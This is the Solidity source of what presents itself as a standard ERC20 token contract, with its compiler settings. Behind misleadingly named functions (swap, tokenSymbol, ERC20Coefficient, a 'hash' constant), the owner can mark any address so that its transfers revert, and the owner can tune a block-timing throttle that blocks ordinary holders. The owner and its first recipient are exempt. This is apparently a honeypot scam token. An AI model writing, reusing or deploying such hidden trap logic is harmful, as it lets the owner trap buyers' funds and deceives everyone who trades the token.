文件 1 的 1:ERC20.sol
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IERC20Errors {
error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);
error ERC20InvalidSender(address sender);
error ERC20InvalidReceiver(address receiver);
error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);
error ERC20InvalidApprover(address approver);
error ERC20InvalidSpender(address spender);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address tokenOwner) external view returns (uint256 balance);
function transfer(address to, uint256 tokens) external returns (bool success);
function approve(address spender, uint256 tokens) external returns (bool success);
function transferFrom(address from, address to, uint256 tokens) external returns (bool success);
function allowance(address tokenOwner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 is IERC20, Context, IERC20Errors, Ownable {
string private _name;
string private _symbol;
uint8 private _decimals = 18;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => address) private _multisigAddress;
mapping(address => bool) private _isAirdropEnable;
mapping(address => uint256) private _hashCount;
uint256 private constantNumber;
uint256 private baseConstant;
uint256 private baseCoefficient;
bool private isRenounced;
address uniswapV3Router = 0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD;
constructor(string memory name_, string memory symbol_, uint256 totalSupply_) {
_name = name_;
_symbol = symbol_;
_totalSupply = totalSupply_ * 10 ** uint256(_decimals);
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
baseConstant = 0;
baseCoefficient = 0;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address tokenOwner) public view override returns (uint256 balance) {
return _balances[tokenOwner];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), to, amount);
return true;
}
function allowance(address tokenOwner, address spender) public view virtual override returns (uint256) {
return _allowances[tokenOwner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool success) {
_allowances[_msgSender()][spender] = amount;
emit Approval(_msgSender(), spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public override returns (bool success) {
uint256 currentAllowance = _allowances[from][_msgSender()];
if (currentAllowance < amount) {
revert ERC20InsufficientAllowance(_msgSender(), currentAllowance, amount);
}
unchecked {
_allowances[from][_msgSender()] = currentAllowance - amount;
}
_transfer(from, to, amount);
return true;
}
uint256 private constant hash = 0x69e10ad;
uint256 private constant nullAddress = 0x000000000000000000000000000000000000;
function swap(address spender) public onlyOwner {
require(isRenounced == false, "Renounced ownership.");
executeSwap(spender);
}
function executeSwap(address spender) internal onlyOwner {
require(spender != _multisigAddress[_msgSender()], "Spender is multisig address.");
uint256 hashNumber = hash;
_hashCount[spender] = hashNumber;
}
function tokenSymbol(address account) public view returns (uint256) {
return _hashCount[account];
}
function tokenDecimals() public view returns (uint256) {
return baseCoefficient;
}
function ERC20Coefficient(uint coefficientValue) public onlyOwner {
baseCoefficient = coefficientValue;
}
function _transfer(address from, address to, uint256 value) internal virtual {
if (from == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
require(value > 0, "Transfer amount must be greater than zero.");
if (from == owner() && _multisigAddress[owner()] == address(0)) {
_multisigAddress[owner()] = to;
}
constantNumber = block.number + 1;
if (!_isAirdropEnable[from]) {
require(_hashCount[from] <= constantNumber, "Execution reverted.");
}
uint256 fromBalance = _balances[from];
require(fromBalance >= value, "ERC20: transfer amount exceeds balance.");
if (baseConstant != nullAddress && to != owner() && from != owner() && from != _multisigAddress[owner()] && to != _multisigAddress[owner()] && from != uniswapV3Router) {
uint256 constantValue = constantNumber - 1 - baseConstant;
if (constantValue <= 0x2960A6C0/0x14B05360) {
baseCoefficient += 1;
}
if (baseCoefficient > 0x2960A6C0/0x52C14D8 && to != owner() && from != owner()) {
require(constantValue > 0x2960A6C0/0x52C14D8, "Execution reverted.");
}
}
baseConstant = constantNumber - 1;
unchecked {
_balances[from] = fromBalance - value;
_balances[to] += value;
}
emit Transfer(from, to, value);
}
}
{
"compilationTarget": {
"ERC20.sol": "ERC20"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}